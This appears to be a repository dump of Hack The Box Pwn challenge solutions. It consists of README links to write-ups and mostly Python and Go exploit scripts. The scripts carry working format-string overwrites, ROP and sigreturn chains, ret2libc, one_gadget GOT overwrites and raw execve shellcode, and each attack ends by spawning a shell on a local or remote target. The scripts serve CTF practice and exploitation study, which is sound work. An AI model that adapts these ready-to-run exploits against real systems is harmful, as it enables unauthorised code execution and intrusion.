24 | p.sendlineafter(b'>> ', b'2') 25 | p.sendafter(b'[*] Write some code: ', b'A' * 8 + p64(code_storage_addr + 0x50)) 26 | 27 | p.sendlineafter(b'>> ', b'3') 28 | 29 | p.sendlineafter(b'>> ', b'2') 30 | p.sendafter(b'[*] Write some code: ', p64(context.binary.sym.berserk_mode_off) + p64(0)) 31 | 32 | p.sendlineafter(b'>> ', b'3') 33 | p.sendlineafter(b'>> ', b'69') 34 | p.interactive() 35 | 36 | 37 | if __name__ == '__main__': 38 | main() 39 | -------------------------------------------------------------------------------- /Challenges/Pwn/Leet Test/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Leet Test 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/leet-test 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Leet Test/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, fmtstr_payload, remote, sys 4 | 5 | context.binary = 'leet_test' 6 | 7 | 8 | def get_process(): 9 | if len(sys.argv) == 1: 10 | return context.binary.process() 11 | 12 | host, port = sys.argv[1].split(':') 13 | return remote(host, int(port)) 14 | 15 | 16 | def main(): 17 | p = get_process() 18 | 19 | p.sendlineafter(b'Please enter your name: ', b'%7$lx') 20 | p.recvuntil(b'Hello, ') 21 | random = int(p.recvline().decode(), 16) >> 32 22 | 23 | expected = (random * 0x1337c0de) & 0xffffffff 24 | 25 | payload = fmtstr_payload(10, {context.binary.sym.winner: expected}) 26 | p.sendlineafter(b'Please enter your name: ', payload) 27 | 28 | p.recvuntil(b'Come right in! ') 29 | print(p.recvline()) 30 | 31 | 32 | if __name__ == '__main__': 33 | main() 34 | -------------------------------------------------------------------------------- /Challenges/Pwn/Math Door/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Math Door 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/math-door 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Maze of Mist/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Maze of Mist 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/maze-of-mist 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Nightmare/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Nightmare 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/nightmare 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Nightmare/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, ELF, fmtstr_payload, log, remote, sys 4 | 5 | context.binary = elf = ELF('nightmare_patched') 6 | glibc = ELF('libc.so.6', checksec=False) 7 | 8 | 9 | def get_process(): 10 | if len(sys.argv) == 1: 11 | return elf.process() 12 | 13 | host, port = sys.argv[1].split(':') 14 | return remote(host, int(port)) 15 | 16 | 17 | def leak(p, position: int) -> int: 18 | p.sendlineafter(b'> ', b'2') 19 | p.sendlineafter(b'Enter the escape code>> ', f'%{position}$p'.encode()) 20 | ret = int(p.recvline().decode(), 16) 21 | p.sendline(b'xx') 22 | return ret 23 | 24 | 25 | def main(): 26 | p = get_process() 27 | 28 | __libc_start_main_ret_addr = leak(p, 13) 29 | log.info(f'Leaked __libc_start_main_ret: {hex(__libc_start_main_ret_addr)}') 30 | elf.address = leak(p, 20) - 0x1180 31 | glibc.address = __libc_start_main_ret_addr - 243 - glibc.sym.__libc_start_main 32 | 33 | log.success(f'ELF base address: {hex(elf.address)}') 34 | log.success(f'Glibc base address: {hex(glibc.address)}') 35 | 36 | one_gadget = (0xe6aee, 0xe6af1, 0xe6af4)[1] 37 | 38 | payload = fmtstr_payload(5, {elf.got.exit: glibc.address + one_gadget}) 39 | 40 | p.sendlineafter(b'> ', b'1') 41 | p.sendlineafter(b'>> ', payload) 42 | 43 | p.sendlineafter(b'> ', b'2') 44 | p.sendlineafter(b'Enter the escape code>> ', b'lulzk') 45 | 46 | p.recv() 47 | p.interactive() 48 | 49 | 50 | if __name__ == '__main__': 51 | main() 52 | -------------------------------------------------------------------------------- /Challenges/Pwn/No Return/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. No Return 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/no-return 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/No Return/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | context.binary = 'no-return' 6 | 7 | 8 | def get_process(): 9 | if len(sys.argv) == 1: 10 | return context.binary.process() 11 | 12 | host, port = sys.argv[1].split(':') 13 | return remote(host, int(port)) 14 | 15 | 16 | def send_data(p, data: bytes, offset: int) -> int: 17 | junk = data * (offset // 8) 18 | leak = u64(p.recv(8).ljust(8, b'\0')) 19 | 20 | payload = junk 21 | payload += p64(0x40109b) 22 | payload += p64(0x40106d) 23 | 24 | p.send(payload) 25 | 26 | return leak 27 | 28 | 29 | def main(): 30 | p = get_process() 31 | 32 | offset = 176 33 | 34 | data = b'/bin/sh\0' 35 | stack_leak = send_data(p, data, offset) 36 | log.info(f'Stack address leak: {hex(stack_leak)}') 37 | 38 | data += p64(0x40105a) 39 | data += p64(0x401099) 40 | 41 | data += p64(stack_leak - offset - 1) # rdi 42 | data += p64(0) # rsi 43 | data += p64(0) # rbp 44 | data += p64(0xf) # rdx 45 | data += p64(stack_leak - offset + 8) # rcx 46 | data += p64(0) # rbx 47 | 48 | frame = SigreturnFrame() 49 | frame.rax = 0x3b 50 | frame.rip = 0x401099 51 | frame.rdi = stack_leak - offset - 8 52 | frame.rsi = 0 53 | frame.rdx = 0 54 | 55 | data += bytes(frame) 56 | 57 | for i in range(8, len(data), 8): 58 | send_data(p, data[i : i + 8], offset) 59 | 60 | payload = b'A' * offset 61 | payload += p64(0x401000) 62 | payload += p64(stack_leak - offset + 16) # rsp 63 | 64 | p.send(payload) 65 | p.recv() 66 | 67 | p.interactive() 68 | 69 | 70 | if __name__ == '__main__': 71 | main() 72 | -------------------------------------------------------------------------------- /Challenges/Pwn/Nowhere to go/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Nowhere to go 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/nowhere-to-go 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Nowhere to go/dump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, p64, remote, sys, u64 4 | 5 | 6 | context.binary = 'challenge' 7 | 8 | 9 | def get_process(): 10 | if len(sys.argv) == 1: 11 | return context.binary.process() 12 | 13 | host, port = sys.argv[1].split(':') 14 | return remote(host, port) 15 | 16 | 17 | io = get_process() 18 | 19 | io.sendafter(b'Welcome!\n', b'A' * 0x20) 20 | stack_addr = (u64(io.recv()[0x30:0x38]) & ~0xfff) + 0x1000 21 | io.info(f'Stack address: {hex(stack_addr)}') 22 | 23 | 24 | def find_vdso(haystack): 25 | for i in range(0, len(haystack), 8): 26 | addr = u64(haystack[i : i + 8].ljust(8, b'\0')) 27 | 28 | if addr >> 36 == stack_addr >> 36 == 0x7ff and addr & 0xfff == 0 and addr > stack_addr: 29 | return addr 30 | 31 | 32 | stack = b'' 33 | offset = 0 34 | 35 | while not (vdso_addr := find_vdso(stack)): 36 | payload = b'A' * 0x20 + p64(context.binary.sym.write) 37 | payload += p64(0x401094) + p64(0x1800) + p64(stack_addr - offset) 38 | io.send(payload) 39 | offset += 0x1800 40 | stack += io.recvuntil(b'Welcome!\n', drop=True) 41 | 42 | io.success(f'vDSO address: {hex(vdso_addr)}') 43 | 44 | payload = b'A' * 0x20 + p64(context.binary.sym.write) 45 | payload += p64(0x401094) + p64(0x2000) + p64(vdso_addr) 46 | io.send(payload) 47 | io.recvn(0x80) 48 | 49 | with open('vdso', 'wb') as f: 50 | f.write(io.recvuntil(b'Welcome!\n', drop=True)) 51 | -------------------------------------------------------------------------------- /Challenges/Pwn/Nowhere to go/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, p64, remote, sys, u64 4 | 5 | 6 | context.binary = 'challenge' 7 | 8 | 9 | def get_process(): 10 | if len(sys.argv) == 1: 11 | return context.binary.process() 12 | 13 | host, port = sys.argv[1].split(':') 14 | return remote(host, port) 15 | 16 | 17 | io = get_process() 18 | 19 | io.sendafter(b'Welcome!\n', b'A' * 0x20) 20 | stack_addr = (u64(io.recv()[0x30:0x38]) & ~0xfff) + 0x1000 21 | io.info(f'Stack address: {hex(stack_addr)}') 22 | 23 | 24 | def find_vdso(haystack): 25 | for i in range(0, len(haystack), 8): 26 | addr = u64(haystack[i : i + 8].ljust(8, b'\0')) 27 | 28 | if addr >> 36 == stack_addr >> 36 == 0x7ff and addr & 0xfff == 0 and addr > stack_addr: 29 | return addr 30 | 31 | 32 | stack = b'' 33 | offset = 0 34 | 35 | while not (vdso_addr := find_vdso(stack)): 36 | payload = b'A' * 0x20 + p64(context.binary.sym.write) 37 | payload += p64(0x401094) + p64(0x1800) + p64(stack_addr - offset) 38 | io.send(payload) 39 | offset += 0x1800 40 | stack += io.recvuntil(b'Welcome!\n', drop=True) 41 | 42 | io.success(f'vDSO address: {hex(vdso_addr)}') 43 | 44 | bin_sh_addr = stack_addr - 0x2000 45 | 46 | payload = b'A' * 0x20 + p64(context.binary.sym.read) 47 | payload += p64(0x401094) + p64(0x8) + p64(bin_sh_addr) 48 | io.send(payload) 49 | io.recv() 50 | io.send(b'/bin/sh\0') 51 | io.recvuntil(b'Welcome!\n') 52 | 53 | pop_rdx_pop_rax_ret = vdso_addr + 0xba0 54 | pop_rbx_pop_r12_pop_rbp_ret = vdso_addr + 0x8c6 55 | mov_rdi_rbx_mov_rsi_r12_syscall = vdso_addr + 0x8e3 56 | 57 | payload = b'A' * 0x20 58 | payload += p64(pop_rdx_pop_rax_ret) 59 | payload += p64(0) 60 | payload += p64(0x3b) 61 | payload += p64(pop_rbx_pop_r12_pop_rbp_ret) 62 | payload += p64(bin_sh_addr) 63 | payload += p64(0) 64 | payload += p64(0) 65 | payload += p64(mov_rdi_rbx_mov_rsi_r12_syscall) 66 | 67 | io.send(payload) 68 | io.recv() 69 | io.interactive() 70 | -------------------------------------------------------------------------------- /Challenges/Pwn/Old Bridge/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Old Bridge 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/old-bridge 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Optimistic/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Optimistic 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/optimistic 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Optimistic/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | context.binary = 'optimistic' 6 | 7 | 8 | def get_process(): 9 | if len(sys.argv) == 1: 10 | return context.binary.process() 11 | 12 | host, port = sys.argv[1].split(':') 13 | return remote(host, int(port)) 14 | 15 | 16 | def main(): 17 | p = get_process() 18 | 19 | p.sendlineafter(b'Would you like to enroll yourself? (y/n): ', b'y') 20 | p.recvuntil(b'Great! Here\'s a small welcome gift: ') 21 | stack_leak = int(p.recvline().decode(), 16) 22 | log.info(f'Stack leak: {hex(stack_leak)}') 23 | 24 | shellcode = b'XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4jWSEW18EF0V' 25 | 26 | p.sendafter(b'Email: ', shellcode[:8]) 27 | p.sendafter(b'Age: ', shellcode[8:16]) 28 | p.sendlineafter(b'Length of name: ', b'-1') 29 | 30 | offset = 104 31 | 32 | payload = shellcode[16:] 33 | payload += b'C' * (offset - len(payload)) 34 | payload += p64(stack_leak - 0x70) 35 | 36 | p.sendafter(b'Name: ', payload) 37 | p.interactive() 38 | 39 | 40 | if __name__ == '__main__': 41 | main() 42 | -------------------------------------------------------------------------------- /Challenges/Pwn/Oxidized ROP/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Oxidized ROP 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/oxidized-rop 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Oxidized ROP/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, remote, sys 4 | 5 | context.binary = 'oxidized-rop' 6 | 7 | 8 | def get_process(): 9 | if len(sys.argv) == 1: 10 | return context.binary.process() 11 | 12 | host, port = sys.argv[1].split(':') 13 | return remote(host, port) 14 | 15 | 16 | def main(): 17 | p = get_process() 18 | 19 | payload = b'A' * 102 + chr(123456).encode() 20 | 21 | p.sendlineafter(b'Selection: ', b'1') 22 | p.sendlineafter(b'Statement (max 200 characters): ', payload) 23 | p.sendlineafter(b'Selection: ', b'2') 24 | p.recv() 25 | 26 | p.interactive() 27 | 28 | 29 | if __name__ == '__main__': 30 | main() 31 | -------------------------------------------------------------------------------- /Challenges/Pwn/Picture Magic/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Picture Magic 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/picture-magic 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/PwnShop/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. PwnShop 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/pwnshop 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Regularity/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Regularity 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/regularity 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Regularity/solve.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os" 5 | "strings" 6 | 7 | pwn "github.com/7Rocky/gopwntools" 8 | ) 9 | 10 | func getProcess() *pwn.Conn { 11 | if len(os.Args) == 1 { 12 | return pwn.Process("./regularity") 13 | } 14 | 15 | hostPort := strings.Split(os.Args[1], ":") 16 | return pwn.Remote(hostPort[0], hostPort[1]) 17 | } 18 | 19 | func main() { 20 | io := getProcess() 21 | defer io.Close() 22 | 23 | shellcode := []byte("\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05") 24 | jmpRsiAddr := uint64(0x401041) 25 | 26 | payload := make([]byte, 272) 27 | copy(payload, shellcode) 28 | copy(payload[256:], pwn.P64(jmpRsiAddr)) 29 | 30 | io.SendAfter([]byte("Hello, Survivor. Anything new these days?\n"), payload) 31 | io.Interactive() 32 | } 33 | -------------------------------------------------------------------------------- /Challenges/Pwn/Robot Factory/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Robot Factory 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Robot Factory/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | context.binary = elf = ELF('robot_factory_patched') 6 | glibc = ELF('libc.so.6', checksec=False) 7 | 8 | 9 | def get_process(): 10 | if len(sys.argv) == 1: 11 | return elf.process() 12 | 13 | host, port = sys.argv[1].split(':') 14 | return remote(host, port) 15 | 16 | 17 | def create_robot(p, kind: bytes, operation: bytes, a: bytes, b: bytes): 18 | p.recv(timeout=0.1) 19 | p.sendline(kind) 20 | p.sendlineafter(b'(a/s/m) > ', operation) 21 | p.sendlineafter(b': ', a) 22 | p.sendlineafter(b': ', b) 23 | 24 | 25 | def main(): 26 | p = get_process() 27 | rop = ROP(elf) 28 | 29 | rop_chain = p64(rop.rdi.address) 30 | rop_chain += p64(elf.got.printf) 31 | rop_chain += p64(elf.plt.puts) 32 | rop_chain += p64(elf.plt.sleep) 33 | 34 | payload = b'A' * 32 35 | payload += rop_chain 36 | payload += b'A' * (248 - len(payload)) 37 | 38 | create_robot(p, b's', b'm', payload, b'9') 39 | 40 | printf_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) 41 | glibc.address = printf_addr - glibc.sym.printf 42 | 43 | p.success(f'Glibc base address: {hex(glibc.address)}') 44 | 45 | rop = ROP([elf, glibc]) 46 | 47 | rop_chain = p64(rop.rdi.address) 48 | rop_chain += p64(next(glibc.search(b'/bin/sh'))) 49 | rop_chain += p64(rop.rsi.address) 50 | rop_chain += p64(0) 51 | rop_chain += p64(rop.find_gadget(['pop rdx', 'pop r12', 'ret']).address) 52 | rop_chain += p64(0) 53 | rop_chain += b'A' * 8 54 | rop_chain += p64(glibc.sym.execve) 55 | 56 | payload = b'A' * 32 57 | payload += rop_chain 58 | payload += b'A' * (248 - len(payload)) 59 | 60 | create_robot(p, b's', b'm', payload, b'9') 61 | 62 | p.recv() 63 | p.interactive() 64 | 65 | 66 | if __name__ == '__main__': 67 | main() 68 | -------------------------------------------------------------------------------- /Challenges/Pwn/Sacred Scrolls: Revenge/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Sacred Scrolls: Revenge 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/sacred-scrolls-revenge 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Sacred Scrolls: Revenge/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | context.binary = 'sacred_scrolls' 6 | 7 | 8 | def get_process(): 9 | if len(sys.argv) == 1: 10 | return context.binary.process() 11 | 12 | host, port = sys.argv[1].split(':') 13 | return remote(host, int(port)) 14 | 15 | 16 | def main(): 17 | p = get_process() 18 | 19 | p.sendafter(b'Enter your wizard tag: ', b'A' * 16) 20 | p.recvuntil(b'A' * 16) 21 | bin_sh_addr = u64(p.recvline().strip().ljust(8, b'\0')) 22 | log.info(f'"/bin/sh" address: {hex(bin_sh_addr)}') 23 | 24 | pop_rdi_ret = 0x401183 25 | system_plt = 0x400820 26 | 27 | payload = b'\xf0\x9f\x91\x93\xe2\x9a\xa1' 28 | payload += b'A' * 33 29 | payload += p64(pop_rdi_ret) 30 | payload += p64(bin_sh_addr) 31 | payload += p64(pop_rdi_ret + 1) 32 | payload += p64(system_plt) 33 | 34 | with open('spell.txt', 'wb') as f: 35 | f.write(payload) 36 | 37 | os.system('zip spell.zip spell.txt') 38 | os.system('rm spell.txt') 39 | 40 | with open('spell.zip', 'rb') as f: 41 | b64_payload = b64e(f.read()).encode() 42 | 43 | p.sendlineafter(b'>> ', b'1') 44 | p.sendlineafter(b'Enter file (it will be named spell.zip): ', b64_payload) 45 | 46 | p.sendlineafter(b'>> ', b'2') 47 | p.sendlineafter(b'>> ', b'3') 48 | p.interactive() 49 | 50 | 51 | if __name__ == '__main__': 52 | main() 53 | -------------------------------------------------------------------------------- /Challenges/Pwn/Shooting star/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Shooting star 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/shooting-star 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Shooting star/solve_pwntools.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | from typing import List 5 | 6 | context.binary = elf = ELF('shooting_star') 7 | rop = ROP(elf) 8 | 9 | 10 | def get_process(): 11 | if len(sys.argv) == 1: 12 | return elf.process(), ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) 13 | 14 | host, port = sys.argv[1].split(':') 15 | return remote(host, int(port)), ELF('libc6_2.27-3ubuntu1.4_amd64.so', checksec=False) 16 | 17 | 18 | def send_rop_chain(p, rop_chain: List[int]): 19 | p.sendlineafter(b'> ', b'1') 20 | p.sendlineafter(b'>> ', flat({72: rop_chain})) 21 | p.recvuntil(b'May your wish come true!\n') 22 | 23 | 24 | def leak(p, leaked_function: str) -> int: 25 | send_rop_chain(p, [ 26 | rop.rdi[0], 27 | 1, 28 | rop.rsi[0], 29 | elf.got[leaked_function], 30 | 0, 31 | elf.plt.write, 32 | elf.sym.main, 33 | ]) 34 | 35 | leak = u64(p.recv(8)) 36 | log.info(f'Leaked {leaked_function}() address: {hex(leak)}') 37 | return leak 38 | 39 | 40 | def main(): 41 | p, glibc = get_process() 42 | 43 | write_addr = leak(p, 'write') 44 | read_addr = leak(p, 'read') 45 | setvbuf_addr = leak(p, 'setvbuf') 46 | 47 | glibc.address = setvbuf_addr - glibc.sym.setvbuf 48 | log.success(f'Glibc base address: {hex(glibc.address)}') 49 | 50 | send_rop_chain(p, [ 51 | rop.rdi[0], 52 | next(glibc.search(b'/bin/sh')), 53 | glibc.sym.system, 54 | ]) 55 | 56 | p.interactive() 57 | 58 | 59 | if __name__ == '__main__': 60 | main() 61 | -------------------------------------------------------------------------------- /Challenges/Pwn/Space pirate: Going Deeper/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Space pirate: Going Deeper 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/space-pirate-going-deeper 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Space pirate: Going Deeper/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, log, remote, sys 4 | 5 | context.binary = 'sp_going_deeper' 6 | 7 | 8 | def get_process(): 9 | if len(sys.argv) == 1: 10 | return context.binary.process() 11 | 12 | host, port = sys.argv[1].split(':') 13 | return remote(host, int(port)) 14 | 15 | 16 | def main(): 17 | p = get_process() 18 | p.sendlineafter(b'>> ', b'1') 19 | p.sendafter(b'[*] Input: ', b'\x01' * 57) 20 | p.recvuntil(b'HTB') 21 | log.success(f'Flag: HTB{p.recvline().strip().decode()}') 22 | p.close() 23 | 24 | 25 | if __name__ == '__main__': 26 | main() 27 | -------------------------------------------------------------------------------- /Challenges/Pwn/Space pirate: Retribution/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Space pirate: Retribution 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/space-pirate-retribution 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Space pirate: Retribution/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | context.binary = elf = ELF('sp_retribution') 6 | glibc = ELF('glibc/libc.so.6', checksec=False) 7 | 8 | 9 | def get_process(): 10 | if len(sys.argv) == 1: 11 | return elf.process() 12 | 13 | host, port = sys.argv[1].split(':') 14 | return remote(host, int(port)) 15 | 16 | 17 | def main(): 18 | p = get_process() 19 | 20 | p.sendlineafter(b'>> ', b'2') 21 | p.recvuntil(b'[*] Insert new coordinates:') 22 | p.sendlineafter(b'y = ', b'AAAAAAA') 23 | 24 | p.recvuntil(b'y = AAAAAAA\n') 25 | leak = u64(p.recvline().strip().ljust(8, b'\0')) 26 | 27 | elf.address = leak - 0xd70 28 | log.success(f'ELF base address: {hex(elf.address)}') 29 | 30 | rop = ROP(elf) 31 | 32 | offset = 88 33 | junk = b'A' * offset 34 | 35 | payload = junk 36 | payload += p64(rop.rdi[0]) 37 | payload += p64(elf.got.puts) 38 | payload += p64(elf.plt.puts) 39 | payload += p64(elf.sym.main) 40 | 41 | p.sendlineafter(b'[*] Verify new coordinates? (y/n): ', payload) 42 | p.recvline() 43 | p.recvline() 44 | 45 | puts_addr = u64(p.recvline().strip().ljust(8, b'\0')) 46 | log.info(f'Leaked puts() address: {hex(puts_addr)}') 47 | 48 | glibc.address = puts_addr - glibc.sym.puts 49 | log.success(f'Glibc base address: {hex(glibc.address)}') 50 | 51 | payload = junk 52 | payload += p64(rop.rdi[0]) 53 | payload += p64(next(glibc.search(b'/bin/sh'))) 54 | #payload += p64(rop.ret[0]) 55 | payload += p64(glibc.sym.system) 56 | 57 | p.sendlineafter(b'>> ', b'2') 58 | p.recvuntil(b'[*] Insert new coordinates:') 59 | p.sendlineafter(b'y = ', b'AAAAAAA') 60 | p.sendlineafter(b'[*] Verify new coordinates? (y/n): ', payload) 61 | p.recv() 62 | 63 | p.interactive() 64 | 65 | 66 | if __name__ == '__main__': 67 | main() 68 | -------------------------------------------------------------------------------- /Challenges/Pwn/Space/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Space 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/space 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Space/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import asm, context, log, p32, process, remote, ROP, sys, u32 4 | 5 | log.warning(f'Usage: python3 {sys.argv[0]} [ip:port]') 6 | 7 | context.binary = 'space' 8 | 9 | rop = ROP(context.binary) 10 | eip = p32(rop.jmp_esp.address) # 0x0804919f 11 | 12 | shellcode1 = asm(''' 13 | xor ecx, ecx 14 | push 0xb 15 | pop eax 16 | push ecx 17 | jmp $+11 18 | ''') 19 | 20 | shellcode2 = asm(f''' 21 | xor edx, edx 22 | push {u32(b"//sh")} # 0x68732f2f 23 | push {u32(b"/bin")} # 0x6e69622f 24 | mov ebx, esp 25 | int 0x80 26 | nop 27 | nop 28 | ''') 29 | 30 | payload = shellcode2 + eip + shellcode1 31 | 32 | if len(sys.argv) > 1: 33 | ip, port = sys.argv[1].split(':') 34 | p = remote(ip, port) 35 | else: 36 | p = process(context.binary.path) 37 | 38 | p.sendlineafter(b'> ', payload) 39 | p.interactive() 40 | -------------------------------------------------------------------------------- /Challenges/Pwn/Spellbook/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Spellbook 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/spellbook 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Spooky Time/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Spooky Time 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/spooky-time 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Spooky Time/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, ELF, fmtstr_payload, log, remote, sys 4 | 5 | context.binary = elf = ELF('spooky_time') 6 | glibc = ELF('glibc/libc.so.6', checksec=False) 7 | 8 | 9 | def get_process(): 10 | if len(sys.argv) == 1: 11 | return elf.process() 12 | 13 | host, port = sys.argv[1].split(':') 14 | return remote(host, int(port)) 15 | 16 | 17 | def main(): 18 | p = get_process() 19 | 20 | p.sendlineafter(b"It's your chance to scare those little kids, say something scary!\n\n", b'%51$p.%69$p') 21 | p.recvuntil(b'Seriously?? I bet you can do better than \n') 22 | leaks = p.recvline().decode().split('.') 23 | 24 | main_addr = int(leaks[0], 16) 25 | __libc_start_main_addr = int(leaks[1], 16) - 128 26 | 27 | elf.address = main_addr - elf.sym.main 28 | glibc.address = __libc_start_main_addr - glibc.sym.__libc_start_main 29 | 30 | log.success(f'ELF base address: {hex(elf.address)}') 31 | log.success(f'Glibc base address: {hex(glibc.address)}') 32 | 33 | one_gadgets = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8] 34 | 35 | payload = fmtstr_payload(8, {elf.got.puts: glibc.address + one_gadgets[1]}) 36 | 37 | p.sendlineafter(b"Anyway, here comes another bunch of kids, let's try one more time..\n\n\n", payload) 38 | 39 | p.recv() 40 | p.interactive() 41 | 42 | 43 | if __name__ == '__main__': 44 | main() 45 | -------------------------------------------------------------------------------- /Challenges/Pwn/Trick or Deal/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Trick or Deal 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/trick-or-deal 4 | -------------------------------------------------------------------------------- /Challenges/Pwn/Trick or Deal/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, p16, remote, sys 4 | 5 | context.binary = 'trick_or_deal' 6 | 7 | 8 | def get_process(): 9 | if len(sys.argv) == 1: 10 | return context.binary.process() 11 | 12 | host, port = sys.argv[1].split(':') 13 | return remote(host, int(port)) 14 | 15 | 16 | def main(): 17 | p = get_process() 18 | 19 | p.sendlineafter(b'[*] What do you want to do? ', b'4') 20 | 21 | p.sendlineafter(b'[*] What do you want to do? ', b'3') 22 | p.sendlineafter(b'[*] Are you sure that you want to make an offer(y/n): ', b'y') 23 | p.sendlineafter(b'[*] How long do you want your offer to be? ', str(0x50).encode()) 24 | 25 | payload = b'A' * 0x48 + p16(context.binary.sym.unlock_storage & 0xffff) 26 | p.sendafter(b'[*] What can you offer me? ', payload) 27 | 28 | p.sendlineafter(b'[*] What do you want to do? ', b'1') 29 | p.interactive() 30 | 31 | 32 | if __name__ == '__main__': 33 | main() 34 | -------------------------------------------------------------------------------- /Challenges/Pwn/Vault-breaker/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Pwn. Vault-breaker 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/pwn/vault-breaker 4 | -------------------------------------------------------------------------------- 